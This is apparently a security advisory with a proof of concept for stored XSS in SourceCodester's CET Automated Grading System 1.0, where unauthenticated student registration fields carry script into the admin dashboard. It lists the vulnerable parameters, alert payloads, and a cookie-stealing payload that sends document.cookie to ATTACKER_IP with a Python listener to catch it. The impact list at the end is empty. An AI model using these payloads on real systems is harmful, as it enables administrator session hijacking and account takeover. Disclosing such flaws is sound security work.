
Proof-of-concept for stored XSS in SourceCodester CET Automated Grading System 1.0, demonstrating unauthenticated payload injection via student registration leading to admin session hijacking.
| Field | Value |
|---|
| Vendor | SourceCodester |
| Vendor URL | https://www.sourcecodester.com |
| Product | CET Automated Grading System with AI Predictive Analytics in PHP and MySQL |
| Product URL | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| Version | 1.0 |
| Vulnerability | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79 |
| CVSSv3 Score | 8.8 (High) |
| Attack Vector | Network |
| Auth Required | None (Student self-registration is public) |
| Victim | Administrator |
| User Interaction | Required (Admin visits dashboard) |
| Researcher | Imad Alvi |
| Date | 2026-04-13 |
File: PersonalAGS/index.php?action=register (Student Registration)
Parameters: student_id, full_name, section, username (POST)
Triggered on: PersonalAGS/index.php?action=dashboard (Admin Dashboard)
The student self-registration portal in CET Automated Grading System 1.0 fails to sanitize or encode user-supplied input before storing it in the database. An unauthenticated attacker can register a student account with JavaScript payloads injected into any registration field. The malicious payload is stored in the database and executes in the browser of any administrator who visits the dashboard where enrolled students are listed.
This is a critical attack chain — no authentication is required to inject the payload, but it executes in a privileged admin context, enabling session cookie theft and full admin account takeover.
Navigate to the public student self-registration page:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
Fill in all fields with XSS payloads and click Register Account:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
Registration succeeds — the payloads are stored in the database.
When the administrator logs in and visits the dashboard, the injected payload executes immediately. The alert popup fires and the page layout is visibly broken by the injected HTML — confirming the payload is rendered unsanitized in the admin panel.
The dashboard section headers also reflect the injected values:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
An attacker can escalate this to full admin session hijacking by using the following payload in the registration fields:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
Set up a listener on the attacker machine:
python3 -m http.server 8888
When the admin visits the dashboard, their session cookie is sent to the attacker's server, enabling complete account takeover.
An unauthenticated attacker can:
No authentication is required to inject the payload. The attack executes automatically when any administrator visits the dashboard.